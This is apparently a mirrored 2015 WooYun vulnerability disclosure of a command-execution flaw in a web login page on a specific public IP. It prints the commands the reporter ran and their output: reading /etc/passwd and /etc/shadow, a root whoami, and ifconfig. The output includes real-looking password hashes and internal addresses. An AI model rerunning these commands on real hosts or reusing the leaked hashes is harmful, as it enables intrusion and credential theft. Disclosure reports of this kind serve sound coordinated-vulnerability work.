乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-24: 细节已通知厂商并且等待厂商处理中 2015-06-28: 厂商已经确认,细节仅向厂商公开 2015-07-08: 细节向核心白帽子及相关领域专家公开 2015-07-18: 细节向普通白帽子公开 2015-07-28: 细节向实习白帽子公开 2015-08-12: 细节向公众公开
地址http://122.224.213.103:8080/caisyys/login/login.action存在命令执行漏洞
看下服务器内部资料,呵呵
cat /etc/passwd
运行结果: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin avahi:x:70:70:Avahi daemon:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin gdm:x:42:42::/var/gdm:/sbin/nologin sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin tomcat:x:500:500::/home/tomcat:/bin/bash sshh:x:501:501::/home/sshh:/bin/bash super:x:502:502::/home/super:/bin/bash
whoami
root
cat /etc/shadow
运行结果: root:$1$k8/XMdBC$G4Mnf1HSVVDjQ/ib/.wJY0:15885:0:99999:7::: bin:*:14914:0:99999:7::: daemon:*:14914:0:99999:7::: sync:*:14914:0:99999:7::: shutdown:*:14914:0:99999:7::: mail:*:14914:0:99999:7::: operator:*:14914:0:99999:7::: gopher:*:14914:0:99999:7::: ftp:*:14914:0:99999:7::: nobody:*:14914:0:99999:7::: nscd:!!:14914:0:99999:7::: vcsa:!!:14914:0:99999:7::: rpc:!!:14914:0:99999:7::: mailnull:!!:14914:0:99999:7::: smmsp:!!:14914:0:99999:7::: pcap:!!:14914:0:99999:7::: ntp:!!:14914:0:99999:7::: dbus:!!:14914:0:99999:7::: avahi:!!:14914:0:99999:7::: sshd:!!:14914:0:99999:7::: rpcuser:!!:14914:0:99999:7::: nfsnobody:!!:14914:0:99999:7::: haldaemon:!!:14914:0:99999:7::: avahi-autoipd:!!:14914:0:99999:7::: oprofile:!!:14914:0:99999:7::: gdm:!!:14914:0:99999:7::: sabayon:!!:14914:0:99999:7::: tomcat:!!:14985:0:99999:7::: sshh:$1$6f4vQ53V$9TrxI66x.BYdMARz5EkyZ1:15949:30:30:7::: super:$1$liMlxGNk$gmsu53dqD.hqw8c90qAHQ0:15949:30:30:7:::
ifconfig
运行结果: eth0 Link encap:Ethernet HWaddr D4:85:64:5B:C1:DE inet addr:122.224.213.103 Bcast:122.224.213.127 Mask:255.255.255.192 inet6 addr: fe80::d685:64ff:fe5b:c1de/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:310007145 errors:0 dropped:0 overruns:0 frame:0 TX packets:56120097 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:4063154496 (3.7 GiB) TX bytes:3053040539 (2.8 GiB) Memory:fbe60000-fbe80000 eth1 Link encap:Ethernet HWaddr D4:85:64:5B:C1:DF inet addr:192.168.0.103 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::d685:64ff:fe5b:c1df/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:120721031 errors:0 dropped:0 overruns:0 frame:0 TX packets:95995 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1980168569 (1.8 GiB) TX bytes:15540203 (14.8 MiB) Memory:fbee0000-fbf00000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:57983 errors:0 dropped:0 overruns:0 frame:0 TX packets:57983 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:31451013 (29.9 MiB) TX bytes:31451013 (29.9 MiB)
有root权限真是好啊,呵呵
加强安全意识
危害等级:中
漏洞Rank:9
确认时间:2015-06-28 06:59
CNVD确认并复现所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置。
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